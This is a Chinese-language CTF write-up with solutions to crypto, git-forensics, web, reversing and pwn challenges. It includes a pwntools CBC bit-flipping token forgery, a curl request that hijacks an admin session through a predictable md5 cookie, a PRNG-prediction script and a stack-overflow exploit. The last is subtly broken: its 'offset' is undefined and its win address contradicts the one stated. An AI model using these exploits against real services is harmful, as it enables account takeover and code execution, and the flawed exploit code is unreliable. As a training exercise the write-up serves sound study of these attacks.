简述:由于时间关系,我这里只记录了几道题
一、MISC
1、crypto
题目描述:crypto challenge
我们可以拿到一个压缩文件
# 解压后有这些文件
└─# ls
challenge deploy.bat deploy.sh Dockerfile entrypoint.sh flag.txt requirements.txt sha256sum
# 查看一下challchallenge
└─# cat challenge
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Respect the shebang and mark file as executable
import base64
import json
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.Padding import unpad
def main() -> int:
with open("/flag.txt", "r") as flag_file:
FLAG = flag_file.read()
# We choose a random key
key = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC)
print("Welcome to AES, the Authentic Engagement Solutions")
print("The only service that we offer is to greet you")
while True:
print("1) Get a token")
print("2) Redeem a previously issued token")
print("3) Exit")
choice = input("> ")
try:
choice_int = int(choice)
except ValueError:
print("An error occured!")
continue
if choice_int == 1:
print("Hey, what's your name?")
name = input("> ")
token = f"admin=0;name={name}".encode()
ct_bytes = cipher.encrypt(pad(token, AES.block_size))
iv = base64.b64encode(cipher.iv).decode()
ct = base64.b64encode(ct_bytes).decode()
token_enc = json.dumps({'iv':iv, 'ct':ct})
print(f"Here is your token: {token_enc}")
elif choice_int == 2:
print("Hey, what's your token?")
token_str = input("> ")
token = json.loads(token_str)
iv = base64.b64decode(token['iv'])
ct = base64.b64decode(token['ct'])
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), AES.block_size).decode()
token_content = {
part.split("=")[0]: part.split("=")[1]
for part in pt.split(";")
}
print(token_content)
print(f"Hey {token_content['name']}, thanks for using our service :)")
if token_content["admin"] != "0":
print(f"You seem to be admin, take this: {FLAG}")
elif choice_int == 3:
print("Thanks for using AES. See you again soon")
break
else:
print("I don't know what you want :(")
return 0
if __name__ == '__main__':
raise SystemExit(main())
通过阅读代码可以知道典型的 CBC 比特翻转攻击:
-
利用 AES-CBC 模式中,修改前一个密文块(或 IV)可以影响下一个明文块的特性。
-
目标是将
admin=0改为admin=1,从而通过检查,拿到 flag。 -
攻击时只需修改 IV 的对应字节(异或 0x01),保持密文不变,即可改变解密后的明文。
分析完代码直接写一个脚本
python
import base64
import json
from pwn import *
r = remote('x.x.x.x.x', 13387)
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'> ')
r.sendline(b'A')
line = r.recvuntil(b'}').decode()
token_str = line.split('token: ')[1]
token = json.loads(token_str)
iv = base64.b64decode(token['iv'])
ct = base64.b64decode(token['ct'])
# 修改 IV
iv_arr = bytearray(iv)
iv_arr[6] ^= 1
iv_modified = base64.b64encode(bytes(iv_arr)).decode()
new_token = {'iv': iv_modified, 'ct': token['ct']}
# 提交
r.recvuntil(b'> ')
r.sendline(b'2')
r.recvuntil(b'> ')
r.sendline(json.dumps(new_token).encode())
# 接收 flag
print(r.recvall().decode())
# 运行后结果中可以看到You seem to be admin, take this: gctf{fa81f9cb_w3lc0me_t0_cr1pt0_415a74a1}
2、gitresethard
题目描述:Kevin joined our company. Kevin took a shit on the carpet. Kevin git reseted --hard the entire repo. Kevin force pushed. Kevin left the company. Now its your turn to fix the mess. You get the compressed disk with the repository.
从描述来看,Kevin 执行了 git reset --hard 然后强制推送,破坏了仓库历史。我们也是可以拿到一个压缩文件
bash
# 解压后查看一下文件
└─# ls
config description HEAD hooks info objects refs
└─# cat HEAD
ref: refs/heads/main
└─# cat refs/heads/main
7a5f0a687a174675dbebea6b84e620610b07342e
可以看到HEAD 指向 refs/heads/main,同时有了当前 main 分支指向的提交哈希。
可以先查找悬空对象,悬空对象通常包括:被reset --hard 删除的提交、被强制推送覆盖的提交、其他丢失的 Git 对象,当找到悬空对象提交的哈希值,就可以通过创建新分支或重置来恢复它们。
这里有个坑,当我们直接执行git fsck --full --unreachable --no-reflogs的时候可能会遇到一个 Git 安全特性导致的错误。我们可以添加安全目录,然后再执行git fsck --full --unreachable --no-reflogs
bash
└─# git config --global --add safe.directory /当前目录/gitresethard/repo
└─# git fsck --full --unreachable --no-reflogs
正在检查引用数据库: 100% (1/1), 完成.
正在检查对象目录: 100% (256/256), 完成.
# 这个地方内容比较多我就不粘出来了
从输出内容中可以找到很多悬空对象,包括多个 commit 对象,找出哪些是 Kevin 删除的重要提交。我们需要找到 Kevin 破坏之前的最后一个有效提交。查看提交链并找到最新的提交。
bash
└─# git cat-file -p 6a81c76ebba614823433d7caf0ea7e523a998fcb
tree 0e2c0a50992e569f65e7458692af73ee064ffa9f
parent 123eade37d013dfe4da4b4bdf9bcb30c269db90a
author Kevin Saiger <kevin.saiger@losfuzzys.net> 1753295974 +0200
committer Ernesto Martinez Garcia <git@ecomaikgolf.com> 1753295974 +0200
leaving a shit in the carpet
接下来尝试恢复仓库,因为这是一个裸仓库,没有工作目录,所以我直接操作裸仓库的引用
bash
└─# git update-ref refs/heads/main 123eade37d013dfe4da4b4bdf9bcb30c269db90a
之后通过git log --oneline -5,cat refs/heads/main这两个命令验证恢复,通过验证恢复我们知道:main分支现在指向:123eade37d013dfe4da4b4bdf9bcb30c269db90a,Kevin 的破坏提交 (6a81c76ebba614823433d7caf0ea7e523a998fcb) 已从历史中移除,仓库恢复到正常状态
接下来就是找到flag,查看 Kevin 的破坏提交具体内容
bash
└─# git show 6a81c76ebba614823433d7caf0ea7e523a998fcb
commit 6a81c76ebba614823433d7caf0ea7e523a998fcb
Author: Kevin Saiger <kevin.saiger@losfuzzys.net>
Date: Wed Jul 23 20:39:34 2025 +0200
leaving a shit in the carpet
diff --git a/carpet/shit b/carpet/shit
new file mode 100755
index 0000000..8be5575
--- /dev/null
+++ b/carpet/shit
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+openssl enc -d -aes-256-cbc -pbkdf2 -pass pass:tJnAQZQF2bKx4 -in <(base64 -d <(echo "U2FsdGVkX18liMZqk4AiqSRX5HZpfrnZAmrfRaS1UztVewZqjgX1wTHCNNj2H5crA/0VUhBXMk9bo/N/lKfFPQ==")) -A -out -
从输出信息中可以看到Kevin 在 carpet/shit 文件中留下了一个加密的信息,进行解密
bash
└─# openssl enc -d -aes-256-cbc -pbkdf2 -pass pass:tJnAQZQF2bKx4 -in <(base64 -d <(echo "U2FsdGVkX18liMZqk4AiqSRX5HZpfrnZAmrfRaS1UztVewZqjgX1wTHCNNj2H5crA/0VUhBXMk9bo/N/lKfFPQ==")) -A -out -
gctf{0113_wh0_g1t_r3s3t3d_th3_c4t_4789}
二、WEB
题目描述:We are launching our new management board and have quite a lot of people using it. Everyone logs into it all the time. Check it out.
我们同样可以拿到一个压缩包
bash
# 解压查看都什么文件
└─# ls
config deploy.bat deploy.sh Dockerfile flag.txt index.php prelogin.php sha256sum users.json web
# 查看文件具体内容
└─# cat prelogin.php
<?php
require_once "/var/www/html/index.php";
$users = json_decode(file_get_contents("/var/www/users.json"));
if(!is_array($users)) return;
foreach($users as $idx => $user) {
$sessionID = generateSessionID($idx);
storeSession($sessionID, json_encode($user));
}
?>
└─# cat index.php
<?php
function generateSessionID($seed) {
return md5($seed);
}
function storeSession($sessionID, $value) {
file_put_contents("/tmp/$sessionID", $value);
}
function retrieveSession($sessionID) {
return json_decode(file_get_contents("/tmp/$sessionID"));
}
function getSessionID() {
$sessionID = $_COOKIE["sess"];
if($sessionID == NULL) return NULL;
return preg_match('/^[a-f0-9]{32}$/i', $sessionID) ? $sessionID : NULL;
}
function handleLogin() {
$form = filter_input(INPUT_POST, "form");
if($form === "login") {
$username = filter_input(INPUT_POST, "username");
$password = filter_input(INPUT_POST, "password");
$users = json_decode(file_get_contents("/var/www/users.json"));
if(!is_array($users)) return;
foreach($users as $idx => $user) {
if($user->username === $username && $user->password === $password) {
$sessionID = generateSessionID($idx);
setcookie("sess", $sessionID);
storeSession($sessionID, json_encode($user));
header("Location: /");
exit();
}
}
}
}
handleLogin();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Form</title>
<link rel="stylesheet" href="./main.css">
</head>
<body>
<?php
if(getSessionID()) {
$sessionData = retrieveSession(getSessionID());
if($sessionData != NULL) {
?>
<div class="main-container">
<h2>Hello <?= $sessionData->username; ?></h2>
<p>Nice to see you.</p>
<?php if($sessionData->moderator === true) { ?>
<p>Oh, you are moderator! Here you go: <?= file_get_contents("/flag.txt"); ?></p>
<?php } ?>
</div>
<?php
} else {
?>
<div class="main-container">
<h2>Oh snap!</h2>
<p>Something went wrong retrieving the session</p>
</div>
<?php
}
} else {
?>
<div class="main-container">
<h2>Login</h2>
<form action="#" method="POST">
<input type="hidden" name="form" value="login" />
<div class="input-group">
<input type="text" placeholder="Username" name="username" required>
</div>
<div class="input-group">
<input type="password" placeholder="Password" name="password" required>
</div>
<button type="submit" class="btn">Login</button>
</form>
</div>
<?php
} ?>
</body>
</html>
└─# cat users.json
[
{
"username": "test",
"password": "test",
"moderator": false
},
{
"username": "alice",
"password": "WpYcHA1li7@*$Z%mp&W#3ZYIYPw1iVkj",
"moderator": false
},
{
"username": "admin",
"password": "!UCA3P4*Dg@nam4L!oodQK4@TjmC9cnh",
"moderator": true
}
]
通过分析代码可以知道:
-
Session 预测 ---
prelogin.php为每个用户预生成 session 文件,文件名是md5(索引),内容包含用户权限信息。 -
无会话绑定 --- 系统只根据 Cookie 中的 sess 值读取对应的 session 文件,不验证该会话是否通过合法登录创建。
-
权限提升 --- 直接使用 admin 对应的 session 文件(
md5(2))即可获得 moderator 权限并读取 flag。
bash
└─# curl -b 'sess=c81e728d9d4c2f636f067f89cc14862c' https://x.x.x.x/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Form</title>
<link rel="stylesheet" href="./main.css">
</head>
<body>
<div class="main-container">
<h2>Hello admin</h2>
<p>Nice to see you.</p>
<p>Oh, you are moderator! Here you go: gctf{1837FA7S_aLWAYs_R4nd0m!z3_Y0uR_C00k!3S!!!_8AJ483H14}
</p>
</div>
</body>
</html>
三、Rev
1、easyrev
题目描述:rev challenge
可以拿到一个challenge 文件
bash
# 检查文件类型
└─# file challenge
challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dc5e5b2c606ee6a69928276f2206aa9a9fbd6424, for GNU/Linux 3.2.0, stripped
# 看一下程序行为
└─# ./challenge
Enter flag:
1
Incorrect
# 用 ltrace 观察输入比较过程
└─# echo "test" | ltrace ./challenge
setvbuf(0x7fb29d0e55c0, nil, 2, 0) = 0
setvbuf(0x7fb29d0e48e0, nil, 2, 0) = 0
setvbuf(0x7fb29d0e54e0, nil, 2, 0) = 0
puts("Enter flag: "Enter flag:
) = 13
fgets("test\n", 256, 0x7fb29d0e48e0) = 0x7ffd6eebea90
strchr("test\n", '\n') = "\n"
strcmp("test", "gctf{bd88c4d4_w3lc0m3_t0_r3v_574"...) = 13
puts("Incorrect"Incorrect
) = 10
+++ exited (status 0) +++
# 可以看到直接是有字符串比较,直接丢进IDA即可拿到flag
gctf{bd88c4d4_w3lc0m3_t0_r3v_574dc8aa}
2、Wisdom
题目描述:You must be very wise to pass this one
同样可以拿到challenge文件
bash
# 检查文件类型
└─# file challenge
challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d740ffbeabf8b33a400447c2673acf89ea6a2d9b, for GNU/Linux 3.2.0, not stripped
# 查看一下文件行为
└─# ./challenge
Enter thy wisdom: 1
Unwise...
# 用objdump查看一下,这里代码比较长,从中可以看到check_flag 函数,这是关键的解密/比较逻辑
00000000004004e0 <check_flag>:
4004e0: 48 83 ec 08 sub $0x8,%rsp
4004e4: ba 00 00 00 00 mov $0x0,%edx ; rdx = 0 (index)
4004e9: 90 nop
... (一些 nop 填充)
400500: 0f b6 04 17 movzbl (%rdi,%rdx,1),%eax ; 取输入字符串的字符
400504: 32 82 40 13 40 00 xor 0x401340(%rdx),%al ; 与 [0x401340+rdx] 异或
40050a: 29 d0 sub %edx,%eax ; 减去索引值
40050c: 02 05 22 2b 00 00 add 0x2b22(%rip),%al ; 加上 MAGIC 值 (地址 0x403034)
400512: 88 04 17 mov %al,(%rdi,%rdx,1) ; 存回
400515: 48 83 c2 01 add $0x1,%rdx
400519: 48 83 fa 2e cmp $0x2e,%rdx ; 循环 0x2e (46) 次
40051d: 75 e1 jne 400500 <check_flag+0x20>
40051f: be 80 13 40 00 mov $0x401380,%esi ; 期望的最终数据地址
400524: e8 87 fe ff ff call 4003b0 <memcmp@plt>; 比较
400529: 85 c0 test %eax,%eax
40052b: 0f 94 c0 sete %al
40052e: 0f b6 c0 movzbl %al,%eax
400531: 48 83 c4 08 add $0x8,%rsp
400535: c3 ret
这个逻辑是:
-
对输入字符串的每个字节(共 46 字节)做变换:
-
input[i] ^= data_401340[i] -
input[i] -= i -
input[i] += MAGIC
-
-
然后与
0x401380处的 46 字节比较。
然后我选择使用gdb提取数据
bash
# 提取异或表 (0x401340)
(gdb) x/46bx 0x401340
0x401340 <KEY>: 0x36 0xd1 0xd9 0xdb 0x89 0xa5 0xbe 0xde
0x401348 <KEY+8>: 0x5e 0xe6 0x0f 0x12 0x02 0x1a 0xe1 0xc0
0x401350 <KEY+16>: 0x0b 0x4c 0xa3 0xb0 0x08 0xe9 0xa0 0xd0
0x401358 <KEY+24>: 0xd1 0xea 0x88 0x71 0x23 0x87 0xd0 0x41
0x401360 <KEY+32>: 0xd8 0x04 0x09 0xa2 0xfd 0x20 0x02 0x28
0x401368 <KEY+40>: 0x0d 0x75 0x8d 0x66 0xa8 0x5c
# 提取目标数据 (0x401380)
(gdb) x/46bx 0x401380
0x401380 <FLAG>: 0xaf 0x0f 0x09 0x18 0x4c 0x47 0x33 0x44
0x401388 <FLAG+8>: 0x64 0x0e 0xbc 0x75 0xbd 0xa5 0xd6 0xee
0x401390 <FLAG+16>: 0xa0 0xc9 0x22 0x3a 0xb9 0xcf 0x3c 0xd6
0x401398 <FLAG+24>: 0xeb 0xe7 0xfd 0x45 0xbe 0xf8 0x20 0xb0
0x4013a0 <FLAG+32>: 0x2b 0x6e 0xa7 0xfe 0x02 0x49 0x73 0x84
0x4013a8 <FLAG+40>: 0xa2 0x78 0xf0 0x88 0xc2 0x52
# 提取 MAGIC 值 (0x403034)
0x403034 <MAGIC>: 0x5e
现在有了需要的数据,写个脚本来解出flag
python
xor_table = [
0x36, 0xd1, 0xd9, 0xdb, 0x89, 0xa5, 0xbe, 0xde,
0x5e, 0xe6, 0x0f, 0x12, 0x02, 0x1a, 0xe1, 0xc0,
0x0b, 0x4c, 0xa3, 0xb0, 0x08, 0xe9, 0xa0, 0xd0,
0xd1, 0xea, 0x88, 0x71, 0x23, 0x87, 0xd0, 0x41,
0xd8, 0x04, 0x09, 0xa2, 0xfd, 0x20, 0x02, 0x28,
0x0d, 0x75, 0x8d, 0x66, 0xa8, 0x5c
]
target = [
0xaf, 0x0f, 0x09, 0x18, 0x4c, 0x47, 0x33, 0x44,
0x64, 0x0e, 0xbc, 0x75, 0xbd, 0xa5, 0xd6, 0xee,
0xa0, 0xc9, 0x22, 0x3a, 0xb9, 0xcf, 0x3c, 0xd6,
0xeb, 0xe7, 0xfd, 0x45, 0xbe, 0xf8, 0x20, 0xb0,
0x2b, 0x6e, 0xa7, 0xfe, 0x02, 0x49, 0x73, 0x84,
0xa2, 0x78, 0xf0, 0x88, 0xc2, 0x52
]
MAGIC = 0x5e
flag = []
for i in range(46):
c = (target[i] - MAGIC + i) & 0xFF
c ^= xor_table[i]
flag.append(c)
print("Flag:", bytes(flag).decode('ascii'))
# 运行结果Flag: gctf{Ke3P_g0iNg_Y0u_goT_tH1s_00055ba509ea6138}
3、guessy-timezones
题目描述:This is a multiline challenge description! Feel free to add more lines.
可以拿到一个压缩包
python
# 解压查看都有什么文件
└─# ls
challenge deploy.bat deploy.sh flag.txt sha256sum
# 检查文件类型
└─# file challenge
challenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a076d4456d5c6a691b6162c76d358f3ca37d0dae, for GNU/Linux 3.2.0, not stripped
# 运行看一下
└─# ./challenge
--------------------------------------------------------
Welcome, thanks for testing out this timezone clock app!
As a thanks for testing it out, you have the chance to win a grand prize!
You just have to guess the correct magic number and submit the flag you get.
Here is a list of available options:
- help: display this help message
- zones: displays a list of all available timezones
- time: prompts you on which timezones time you want to know
format: Continent/City
- solve: Prompts you to enter the magic number
- exit: Closes the app
> 1
Unknown command: '1'. Type 'help' for options.
> help
- help: display this help message
- zones: displays a list of all available timezones
- time: prompts you on which timezones time you want to know
format: Continent/City
- solve: Prompts you to enter the magic number
- exit: Closes the app
> zones
-------------------------------------------------
Here are all timezones available in our database:
- America/New_York
- America/Chicago
- America/Denver
- America/Los_Angeles
- America/Vancouver
- America/Sao_Paulo
- America/Buenos_Aires
- America/Mexico_City
- America/Caracas
- Europe/London
- Europe/Paris
- Europe/Berlin
- Europe/Vienna
- Europe/Moscow
- Europe/Kyiv
- Europe/Rome
- Europe/Madrid
- Europe/Istanbul
- Asia/Tokyo
- Asia/Shanghai
- Asia/Hong_Kong
- Asia/Singapore
- Asia/Dubai
- Asia/Kolkata
- Asia/Seoul
- Asia/Bangkok
- Asia/Jerusalem
- Asia/Tehran
- Africa/Cairo
- Africa/Johannesburg
- Africa/Lagos
- Africa/Nairobi
- Africa/Casablanca
- Australia/Sydney
- Australia/Melbourne
- Australia/Perth
- Pacific/Auckland
- Pacific/Honolulu
-------------------------------------------------
> ^C
找到 "magic number" 来获取 flag。
接着输入时间测试一下,当查询 Europe/London 时间时,程序输出:
THIS IS THE STRING: 20251123145700
THIS IS THE SEED: 352345060
接着测试更多的时间看看有什么变化,经过多轮测试可以知道:
-
SEED 随时间变化:两次查询的 SEED 不同(
352345217vs352295270) -
SEED 基于查询时间:每个时区的查询时间不同,SEED 也不同
-
旧的 SEED 无效:之前记录的
352345060已经无效
接着我使用了gdb进行调试,运行info functions后可以看到一个函数是printTimeAndSetWinningNumber,这很可能是处理 time 命令并设置 magic number 的函数。接着设置断点break printTimeAndSetWinningNumber后运行程序,输入完查询时间后查看一下反汇编代码
python
0x0000555555555a89 <+185>: call 0x555555555250 <strtol@plt> # 将时间字符串转换为数字
0x0000555555555aa7 <+215>: mov %ebx,%edx # 时间数字 -> %ebx
0x0000555555555abe <+238>: mov %ebx,%edi # 时间数字作为种子
0x0000555555555abe <+238>: call 0x555555555220 <srand@plt> # srand(时间数字)
0x0000555555555ac3 <+243>: call 0x5555555552d0 <rand@plt> # rand()
0x0000555555555ac8 <+248>: mov %eax,0x26be(%rip) # 存储到 winning_number
接着在存储 winning_number 的指令设断点break *0x0000555555555ac8,继续运行程序,断点触发后查看 rand() 的返回值 (winning_number)
python
(gdb) info registers rax
rax 0x55286eb6 1428713142
找到magic number:1428713142,继续执行程序,输入1428713142即可拿到测试的flag
python
(gdb) c
Continuing.
> solve
Enter the magic number: 1428713142
--------------------------------------------
Huh! How did you get the correct number?!?
That was not supposed to actually happen!
Well, I hate to break it to you but the part about the grand price was actually made up...
Anyways, here is your flag: gctf{test_flag}
--------------------------------------------
>
接下来就可以写个脚本来获取远程服务器中的真正的flag
python
from pwn import *
import ctypes
libc = ctypes.CDLL("libc.so.6")
r = remote('x.x.x.x', 13386)
r.recvuntil(b'> ')
r.sendline(b'time')
r.recvuntil(b'Continent/City): ')
r.sendline(b'Europe/London')
response = r.recvuntil(b'> ')
seed_line = [line for line in response.split(b'\n') if b'THIS IS THE SEED:' in line][0]
seed = int(seed_line.split(b': ')[1].strip())
libc.srand(seed)
magic = libc.rand()
r.sendline(b'solve')
r.recvuntil(b'magic number: ')
r.sendline(str(magic).encode())
print(r.recvuntil(b'}'))
# 运行结果中即可看到flag gctf{S33ded_P5eud0_R4nd0mn3ss_1s_4lw4ys_b4d!}
四、PWN
1、easypwn
题目描述:pwn challenge
同样拿到一个压缩包
python
# 解压看一下都什么文件
└─# ls
challenge deploy.bat deploy.sh Dockerfile entrypoint.sh flag.txt main.c Makefile sha256sum
# 看一下一些文件的具体内容
└─# cat main.c
#include <stdio.h>
#include <stdlib.h>
void win() {
FILE *f = fopen("/flag.txt", "r");
if(f == NULL)
exit(1);
char flag[256];
char *r = fgets(flag, 256, f);
printf("%s\n", flag);
}
void challenge() {
char buf[0666];
printf("Enter your input now:\n");
fread(buf, 1, 666, stdin);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
challenge();
return 0;
}
用objdump -d challenge | grep -A5 '<win>:'找出 win 的实际地址(0x4011d6)
python
4011d6 <win>:
4011d6: f3 0f 1e fa endbr64
4011da: 55 push %rbp
4011db: 48 89 e5 mov %rsp,%rbp
4011de: 48 81 ec 10 01 00 00 sub $0x110,%rsp # 分配 0x110 字节栈空间
找 ret gadget地址是(0x40101a)
python
└─# ROPgadget --binary challenge | grep ': ret' | head -1
0x000000000040101a : ret
现在我们可以知道:
-
fread读取 666 字节到 438 字节的缓冲区,造成栈溢出 -
448 字节(438 缓冲区 + 可能的填充 + 8 字节 rbp)
-
覆盖返回地址到
win函数 (0x4011d6) -
不需要额外的
retgadget,直接跳转即可
直接来写个exp
python
from pwn import *
p = remote('x.x.x.x', 13388)
win_addr = 0x4011de
payload = b'A' * offset
payload += p64(win_addr)
payload = payload.ljust(666, b'B')
print(f"Payload length: {len(payload)}")
p.recvuntil(b"now:")
p.send(payload)
print(p.recvall(timeout=2))
# 运行结果中可以看到gctf{3097324b_w3lc0me_t0_pwn_e1dab08a}
、